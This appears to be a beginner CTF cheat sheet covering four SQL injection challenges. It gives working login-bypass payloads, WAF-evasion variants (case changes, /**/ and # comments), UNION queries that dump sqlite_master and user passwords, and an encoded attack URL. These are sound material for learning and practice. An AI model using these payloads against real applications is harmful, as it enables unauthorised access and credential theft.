CTF Cheat Sheet — 4 Challenges (Beginner Friendly)

Challenge 1 — Classic Login Bypass

Goal: log in without knowing a valid password.

Why it works: the login query is built by gluing your input directly into the SQL string, e.g.:

```sql
SELECT * FROM users WHERE username = '$username' AND password = '$password'
```

If `$username` isn't sanitized, you can inject logic that makes the `WHERE` clause always true.

Payload (in the username field):

```
' or '1'='1
```

or with a comment to kill anything after it (ignores the real password check):

```
' or '1'='1' --
```

What happens:

```sql
SELECT * FROM users WHERE username = '' or '1'='1' AND password = '...'
```

`'1'='1'` is always true → the query returns a row → app logs you in as the first matching user.

If it doesn't work: check operator precedence — some DBs evaluate `AND` before `OR`, so make sure your payload actually short-circuits the whole clause. Try appending `-- ` (with trailing space) to comment out the rest of the line entirely.

Challenge 2 — Login Bypass Behind a WAF (solved with Burp Suite)

Same injection idea as Challenge 1, but now there's a filter blocking obvious payloads like `' or '1'='1`.

Setup

1. Open **Burp Suite** → start browser via Burp's embedded Chromium, or configure your normal browser to proxy through `127.0.0.1:8080`.
2. Go to the login page, submit any dummy login.
3. In Burp, go to **Proxy → HTTP history**, find the POST/GET request for the login.
4. Right-click → **Send to Repeater**.

Why Repeater

Repeater lets you edit and resend the same request over and over without re-filling the form each time — perfect for quickly testing payload variations against the WAF.

Bypass technique

If the WAF blocks on exact lowercase strings (very common in beginner CTFs), try:

Blocked	Try instead
`' or '1'='1`	`' OR '1'='1` (uppercase `OR`)
`or 1=1`	`oR 1=1`, or `||1=1` (SQLite/Postgres), or `or(1)=(1)`
Spaces stripped/blocked	Replace spaces with `/**/`: `'/**/or/**/'1'='1`
`--` blocked	Use `#` (MySQL) or just balance quotes manually

Workflow in Repeater

1. Paste a candidate payload into the username/password field in the **Request** pane.
2. Click **Send**.
3. Check the **Response** pane:
   - A WAF block page/403 → filter caught it, try another variant.
   - A redirect to a dashboard / "welcome" page / different response length → bypass worked.
4. Repeat until you get a successful response. Burp keeps history so you can compare which payload worked.

Tip: Use Burp's **Comparer** tool to diff two responses side-by-side if it's not obvious whether a payload succeeded.

Challenge 3 — UNION-Based SQL Injection (SQLite)

Goal: use `UNION SELECT` to pull data from a different table than the one the app normally queries.

Step 1 — find the schema (SQLite has no `information_schema`)

SQLite keeps every table's definition in a built-in table called `sqlite_master`. Query it directly:

```sql
' UNION SELECT tbl_name, sql, 1 FROM sqlite_master--
```

- `tbl_name` → gives you every table name (`users`, `products`, etc.)

- `sql` → gives you the **exact** `CREATE TABLE` **statement**, which also reveals every column name in one shot — no separate "list columns" step needed like in MySQL.

Read the output carefully: once you spot a table like `users` with columns `id, username, password`, you're ready for step 2.

Step 2 — dump the data

```sql
' UNION SELECT id, username, password FROM users--
```

Why `--` has a trailing space

In SQL, `--` starts a line comment, but some engines require whitespace after it to parse correctly as a comment (not strictly SQLite, but it's a safe habit). Always write `-- ` with a space, not bare `--`.

Column count reminder

Your `UNION SELECT` must have the **same number of columns** as the original query. If you get a column-count error, adjust (e.g. `UNION SELECT 1,2,3` → try 2, then 4, etc. until the error disappears).

Challenge 4 — UNION-Based SQLi vs a Weak Custom WAF (PHP)

This challenge's WAF source is shown below — read the comments, they tell you exactly where the gaps are:

```php
```

```php
function waf_inspect(string $input): ?string {
    $normalized = str_replace('+', ' ', $input);

    $blacklist = [
        'union select',
        '--',
        ' or 1=1',
        'sleep(',
        'benchmark(',
        'information_schema.tables',
    ];

    // NOT lowercased before comparing!
    foreach ($blacklist as $bad) {
        if (strpos($normalized, $bad) !== false) {
            return "Forbidden pattern detected: \"$bad\"";
        }
    }

    if (strlen($input) > 500) {
        return "Payload too long";
    }

    return null;
}
```

The bug, explained simply

`strpos($normalized, $bad)` is a **case-sensitive** exact-substring search, and every pattern in `$blacklist` is written in **lowercase**. Since the code never calls `strtolower()` on your input, typing the blocked word in a different case completely dodges the check.

Bypass #1 — change the case, swap the comment style

A lowercase payload like this gets blocked (matches `union select` and `--` exactly):

```
' union select 1,flag,3 from secret_flags--
```

Uppercasing `UNION SELECT` dodges the first match — but `--` is symbol-only, so case doesn't help there; it's still in the blacklist and still blocks you. Swap `--` for `#` (not in the blacklist) to clear both checks at once:

```
' UNION SELECT 1,flag,3 FROM secret_flags#
```

Bypass #2 — split the keyword with an inline comment (works even if case is caught another way)

```
' UNION/**/SELECT 1,flag,3 FROM secret_flags#
```

`/**/` is a valid empty SQL comment. MySQL still parses `UNION/**/SELECT` as `UNION SELECT`, but the literal string `union select` never appears in your raw input, so `strpos()` finds nothing.

Final working payload

```
' UNION/**/SELECT 1,flag,3 FROM secret_flags#
```

As a full URL (space-sensitive characters encoded, `#` → `%23` since browsers treat raw `#` as a URL fragment and strip it before sending):

```
http://TARGET/index.php?id=%27+UNION/**/SELECT+1,flag,3+FROM+secret_flags%23
```

Why this specific payload avoids every blacklist entry

Blacklist entry	Avoided because
`union select`	Broken up by `/**/` — exact substring never occurs
`--`	Not used at all — `#` used instead
` or 1=1`	Not needed for this payload
`sleep(` / `benchmark(`	Not needed — no time-based trick used
`information_schema.tables`	Not needed — table name `secret_flags` already known/guessed

General Troubleshooting Checklist (all 4 challenges)

- **Getting a generic SQL error ("near '...'")?** You have an unbalanced quote — check your comment (`--` / `#`) actually reached the server and isn't being stripped by the browser's URL bar (encode `#` as `%23`).
- **"Blocked by WAF" message?** It usually tells you *which exact string* tripped it — change only that part, not your whole technique.
- **Nothing happens / blank response?** Could be a silently-caught exception. Simplify your payload (start with `'` alone) and build up from there.
- **Not sure what's being sent?** Use Burp Suite's Proxy/Repeater on *every* challenge, not just #2 — seeing the raw request/response removes all guesswork about encoding.